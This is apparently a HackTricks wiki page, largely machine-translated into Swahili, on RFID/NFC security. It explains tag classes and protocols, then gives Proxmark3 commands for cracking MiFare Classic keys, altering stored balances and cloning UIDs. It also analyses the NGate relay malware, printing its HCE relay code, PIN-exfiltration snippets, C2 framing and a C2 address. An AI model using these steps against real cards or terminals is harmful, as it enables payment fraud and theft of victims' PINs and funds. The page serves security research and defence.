Pentesting RFID

Reading time: 14 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Utangulizi

Utambulisho wa Mzunguko wa Redio (RFID) ni suluhisho maarufu zaidi la redio kwa umbali mfupi. Mara nyingi hutumika kuhifadhi na kusafirisha taarifa zinazoonyesha utambulisho wa kiumbe.

Tag ya RFID inaweza kutegemea chanzo chake cha nguvu (active), kama betri iliyojengwa ndani, au kupokea nguvu yake kutoka kwa antenna ya kusoma kwa kutumia sasa iliyopokelewa kutoka kwa mawimbi ya redio (passive).

Madaraja

EPCglobal inagawanya tag za RFID katika makundi sita. Tag katika kila kundi ina uwezo wote uliotajwa katika kundi la awali, ikifanya iwe na ulinganishi wa nyuma.

  • Class 0 tags ni passive tags zinazofanya kazi katika bendi za UHF. Muuzaji anazifuatia kuziprograma kabla katika kiwanda cha uundaji. Kwa hivyo, huwezi kubadilisha taarifa zilizo katika kumbukumbu zao.
  • Class 1 tags pia zinaweza kufanya kazi katika bendi za HF. Zaidi ya hayo, zinaweza kuandikishwa mara moja tu baada ya uzalishaji. Tag nyingi za Class 1 pia zinaweza kuchakata cyclic redundancy checks (CRCs) za amri wanazopokea. CRC ni bytes chache ziada mwishoni mwa amri kwa ajili ya kugundua makosa.
  • Class 2 tags zinaweza kuandikishwa mara nyingi.
  • Class 3 tags zinaweza kuwa na sensori zilizojengwa ambazo zinaweza kurekodi vigezo vya mazingira, kama joto la sasa au mwendo wa tag. Tag hizi ni nusu-passive, kwa sababu ingawa zina chanzo cha nguvu kilichojengwa ndani, kama battery, haziwezi kuanzisha mawasiliano ya wireless na tags au readers wengine.
  • Class 4 tags zinaweza kuanzisha mawasiliano na tags wengine ya daraja sawa, zikifanya kuwa active tags.
  • Class 5 tags zinaweza kutoa **nguvu kwa tags nyingine na kuwasiliana na madaraja yote ya tag yaliyotajwa hapo juu. Class 5 tags zinaweza kutumika kama RFID readers.

Taarifa Zinazohifadhiwa katika RFID Tags

Kumbukumbu ya tag ya RFID kawaida huhifadhi aina nne za data: taarifa za utambulisho, ambazo huwatambulisha kiumbe ambacho tag imeshikika nacho (data hii ni pamoja na maeneo yaliyowekwa na mtumiaji, kama akaunti za benki); data ya nyongeza, ambayo hutoa maelezo zaidi kuhusu kiumbe; data ya udhibiti, inayotumika kwa usanidi wa ndani wa tag; na data ya mtengenezaji, ambayo ina Unique Identifier (UID) ya tag na maelezo kuhusu utengenezaji, aina, na muuzaji wa tag. Utapata aina mbili za kwanza za data katika tags zote za kibiashara; mbili za mwisho zinaweza kutofautiana kulingana na muuzaji wa tag.

Kiwango cha ISO kinaelekeza thamani ya Application Family Identifier (AFI), msimbo unaoonyesha aina ya kitu ambacho tag inahusu. Rejista nyingine muhimu, pia iliyobainishwa na ISO, ni Data Storage Format Identifier(DSFID), ambayo inaelezea upanordnungu wa kimantiki wa data ya mtumiaji.

Udhibiti mwingi wa usalama wa RFID una kanuni ambazo zinazuia shughuli za kusoma au kuandika kwenye kila block ya kumbukumbu ya mtumiaji na kwenye rejista maalum zinazoonyesha thamani za AFI na DSFID. Hizi mekanismo za kufunga hutumia data iliyohifadhiwa katika kumbukumbu ya udhibiti na zina manenosiri ya chaguo-msingi yaliyotanguliwa na muuzaji lakini zinamruhusu mmiliki wa tag kusanidi manenosiri maalum.

Mapitio ya tags za Low & High frequency

Low-Frequency RFID Tags (125kHz)

Low-frequency tags mara nyingi hutumika katika mifumo ambayo haihitaji usalama wa juu: ufikiaji wa majengo, funguo za intercom, kadi za uanachama za gym, n.k. Kutokana na urefu wao wa hatua, ni rahisi kutumia kwa malipo ya maegesho ya magari: dereva hahitaji kupeleka kadi karibu na reader, kwani inachochewa kutoka umbali mrefu zaidi. Wakati huo huo, low-frequency tags ni za kimsingi sana, zina kiwango kidogo cha kuhamisha data. Kwa ajili ya hiyo, haiwezekani kutekeleza uhamisho tata wa data wa pande zote mbili kwa mambo kama kuweka salio na kriptografia. Low-frequency tags hutuma tu ID yao fupi bila njia yoyote ya uthibitisho.

Vifaa hivi vinategemea teknolojia ya passive RFID na hufanya kazi katika maeneo ya 30 kHz hadi 300 kHz, ingawa kawaida hutumika 125 kHz hadi 134 kHz:

  • Long Range — mzunguko wa chini unatafsiri kuwa umbali mrefu zaidi. Kuna baadhi ya readers za EM-Marin na HID, ambazo zinafanya kazi kutoka umbali wa hadi mita moja. Hizi mara nyingi zinatumika katika maegesho ya magari.
  • Primitive protocol — kutokana na kiwango cha chini cha uhamishaji data, tag hizi zinaweza tu kutuma ID yao fupi. Katika kesi nyingi, data haithibitishwi na haijalindwa kwa njia yoyote. Mara tu kadi iko ndani ya eneo la reader, inaanza tu kutuma ID yake.
  • Low security — Kadi hizi zinaweza kunakiliwa kwa urahisi, au hata kusomwa kutoka mfukoni mwa mtu mwingine kutokana na ufinyu wa protocol.

Protokoli maarufu za 125 kHz:

  • EM-Marin — EM4100, EM4102. Protokoli maarufu zaidi katika CIS. Inaweza kusomwa kutoka takriban mita kwa sababu ya urahisi na utulivu wake.
  • HID Prox II — protocol ya low-frequency iliyowasilishwa na HID Global. Protocol hii ni maarufu zaidi katika nchi za Magharibi. Ni ngumu zaidi na kadi pamoja na readers kwa protocol hii ni ghali kwa kiasi.
  • Indala — protocol ya zamani sana ya low-frequency iliyoanzishwa na Motorola, na baadaye ikatwaliwa na HID. Hutokea kidogo ukilinganisha na mbili zilizotajwa hapo juu kwa sababu inaendelea kutoka matumizi.

Kwa kweli, kuna protokoli nyingi za low-frequency. Lakini zote zinatumia modulation sawa kwenye tabaka la fizikia na zinaweza kuonekana, kwa namna fulani, kama mabadiliko ya zile zilizotajwa hapo juu.

Attack

Unaweza attack hizi Tags kwa kutumia Flipper Zero:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags hutumika kwa mwingiliano wa reader-tag tata zaidi ambapo unahitaji kriptografia, uhamisho mkubwa wa data wa pande zote mbili, uthibitisho, n.k.
Mara nyingi hupatikana katika kadi za benki, usafiri wa umma, na pasi nyingine za usalama.

High-frequency 13.56 MHz tags ni seti ya viwango na protokoli. Mara nyingi hujulikana kama NFC, lakini hiyo si sahihi kila wakati. Seti ya msingi ya protokoli inayotumika kwenye ngazi za fizikia na kimantiki ni ISO 14443. Protokoli za kiwango cha juu, pamoja na viwango mbadala (kama ISO 19092), zinatokana nayo. Watu wengi hujumuisha teknolojia hii kama Near Field Communication (NFC), neno kwa vifaa vinavyofanya kazi kwenye mzunguko wa 13.56 MHz.

Kwa ufupi, usanifu wa NFC unafanya kazi hivi: protocol ya uhamishaji huchaguliwa na kampuni inayotengeneza kadi na kutekelezwa kulingana na ISO 14443 ya ngazi ya chini. Kwa mfano, NXP ilibuni protocol yake ya uhamishaji ya kiwango cha juu iitwayo Mifare. Lakini katika ngazi ya chini, kadi za Mifare zinategemea kiwango cha ISO 14443-A.

Flipper inaweza kuingiliana na protocol ya ngazi ya chini ya ISO 14443, pamoja na protokoli ya uhamishaji data ya Mifare Ultralight na EMV inayotumiwa katika kadi za benki. Tunafanya kazi ya kuongeza msaada kwa Mifare Classic na NFC NDEF. Uchunguzi wa kina wa protokoli na viwango vinavyojenga NFC unastahili makala tofauti ambayo tunapanga kuweka baadaye.

Kadi zote za high-frequency zinazotegemea kiwango cha ISO 14443-A zina chip ID ya kipekee. Inafanya kazi kama nambari ya mfululizo ya kadi, kama anwani ya MAC ya kadi ya mtandao. Kawaida, UID ni ya bytes 4 au 7, lakini nadra inaweza kufika hadi 10. UID si siri na ni rahisi kusomwa, mara nyingine hata zikichapishwa kwenye kadi yenyewe.

Kuna mifumo mingi ya udhibiti wa ufikiaji inayotegemea UID kuthibitisha na kutoa ufikiaji. Wakati mwingine hili hufanyika hata wakati tag za RFID zinaunga mkono kriptografia. Matumizi mabaya ya aina hiyo yanazishusha hadi kiwango cha kadi za 125 kHz kwa mtazamo wa usalama. Kadi za virtual (kama Apple Pay) hutumia UID ya mabadiliko ili wamiliki wa simu wasifungue milango kwa kutumia app yao ya malipo.

  • Low range — kadi za high-frequency zimeundwa mahsusi ili lazima ziwe karibu na reader. Hii pia husaidia kulinda kadi dhidi ya mwingiliano usioidhinishwa. Umbali mkubwa wa kusoma tuliweza kufikia ulikuwa takriban 15 cm, na huo ulikuwa kwa readers maalum zenye uwezo mkubwa.
  • Advanced protocols — kasi za uhamisho data hadi 424 kbps zinaruhusu protokoli tata zenye uhamisho kamili wa pande zote mbili. Ambayo kwa upande mwingine inaruhusu kriptografia, uhamishaji wa data, n.k.
  • High security — kadi za contactless za high-frequency haziko chini kwa namna yoyote kulinganisha na smart cards. Kuna kadi zinazounga mkono algoriti zenye nguvu za kriptografia kama AES na kutekeleza kriptografia isosymmetrical.

Attack

Unaweza attack hizi Tags kwa kutumia Flipper Zero:

FZ - NFC

Au kwa kutumia proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).

End-to-end workflow (abstracted):

  1. Dump the original card and recover keys
bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Hii kwa kawaida huwa inarudisha sector keys (A/B) na inazalisha full-card dump katika client dumps folder.

  1. Pata na uelewe value/integrity fields
  • Fanya top-ups halali kwenye kadi asili na chukua dumps nyingi (kabla/baada).
  • Fanya diff ya dumps mbili ili kutambua blocks/bytes zinazobadilika ambazo zinawakilisha balance na/au integrity fields yoyote.
  • Utekelezaji mwingi wa Classic hutumia encoding ya asili ya "value block" au hutengeneza checksums zao (mfano, XOR ya balance na field nyingine na constant). Baada ya kubadilisha balance, hesabu upya integrity bytes ipasavyo na uhakikishe kwamba duplicated/complemented fields zote zinaendana.
  1. Andika modified dump kwa writable “Chinese magic” Classic tag
bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Clone UID ya asili ili terminals zitambue kadi
bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Tumia kwenye terminali

Wasomaji ambao wanaamini salio kilichoko kwenye kadi na UID watakubali kadi iliyodanganywa. Uvumbuzi wa uwanja unaonyesha kuwa mifumo mingi iliyowekwa huweka ukomo wa salio kulingana na upana wa field (mfano, 16-bit fixed-point).

Notes

  • Ikiwa mfumo unatumia native Classic value blocks, kumbuka muundo: value (4B) + ~value (4B) + value (4B) + block address + ~address. Sehemu zote lazima ziendane.
  • Kwa custom formats zenye simple checksums, differential analysis ndiyo njia ya haraka kupata integrity function bila ku-reverse firmware.
  • Ni UID-changeable tags pekee ("Chinese magic" gen1a/gen2) zinazoruhusu kuandika block 0/UID. Kadi za Classic za kawaida zina read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

Kujenga Mobile Cloner ya Portable HID MaxiProx 125 kHz

Ikiwa unahitaji suluhisho la long-range, battery-powered kwa kuvuna badges za HID Prox® wakati wa red-team engagements unaweza kubadilisha reader ya kuta HID MaxiProx 5375 kuwa cloner huru inayoweza kubebwa ndani ya mkoba. Ufafanuzi kamili wa mitambo na umeme upo hapa:

Maxiprox Mobile Cloner

NFC/EMV Relay kupitia Android Reader↔HCE Emitter

Classic EMV relay inaweza kutekelezwa kwa vifaa 2 vya Android: reader upande wa victim anayekamata APDUs zenye kuishi na PIN kutoka kwa kadi halisi, na attacker-side HCE emitter kwenye terminali anayetuma APDUs kwenda upstream. Kit NGate kilichochambuliwa kinatumia vibaya Android NFC APIs halali na simple framed TCP C2 kuandaa real-time ATM cash-outs.

Key building blocks

  • Reader-mode app (victim): inatumia NFC reader APIs kuchambua EMV (PAN/expiry/AIDs), inaonyesha scheme kwa AID, inaomba PIN na inafanya exfiltration mara moja.
  • Emitter-mode app (ATM side): inatekeleza Host Card Emulation (HCE) na android:requireDeviceUnlock="false" na payment AID; processCommandApdu() inatuma APDUs kwa C2 na inarejesha minimal response.
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android surface (Manifest/HCE)

xml
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml mfano (bila unlock + payment AID)

xml
<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Mwisho wa kipitishaji wazi (HCE)

java
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Utambuzi wa skimu za EMV kwa AID (mifano)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Mfumo wa kuiba PIN (UI ya mwathirika)

java
// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (mfano wa cleartext)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode inside payload)
  • Kataa maudhui > ~100 MiB; keepalive ~7s (PING)
java
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Kujificha kwa config: cert-derived XOR

  • Maktaba native hutengeneza funguo ya 32-byte kama SHA‑256 ya cheti cha kusaini cha app (DER).
  • C2 config iko katika ASCII‑hex katika assets (kwa mfano, assets/____), hex-decoded na XOR-ed na funguo inayojirudia kila 32 bytes:
c
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC isiyo mtandao ya decrypt config

bash
# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
python
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Mfano wa decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Mnyororo wa relay (end-to-end)

  1. Mhusika anaweka APK, anafungua app → native init decrypts config kutoka assets.
  2. App inaunganisha kwa C2 (mfano, 91.84.97.13:5653) kwa kutumia framed TCP; keepalive ~7s.
  3. Mhusika anagusa kadi → reader inatoa PAN/expiry/AIDs na inatuma CARD_DISCOVERED.
  4. Mhusika anaingiza PIN → keypad inachapisha na inafanya exfiltrates kupitia PIN_REQ; server inajibu VALID/INVALID kwa UI tu.
  5. Kifaa cha attacker kwenye terminal kinakimbiza HCE emitter kinayorelay APDUs kwenda ATM na hufanya cash-out.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks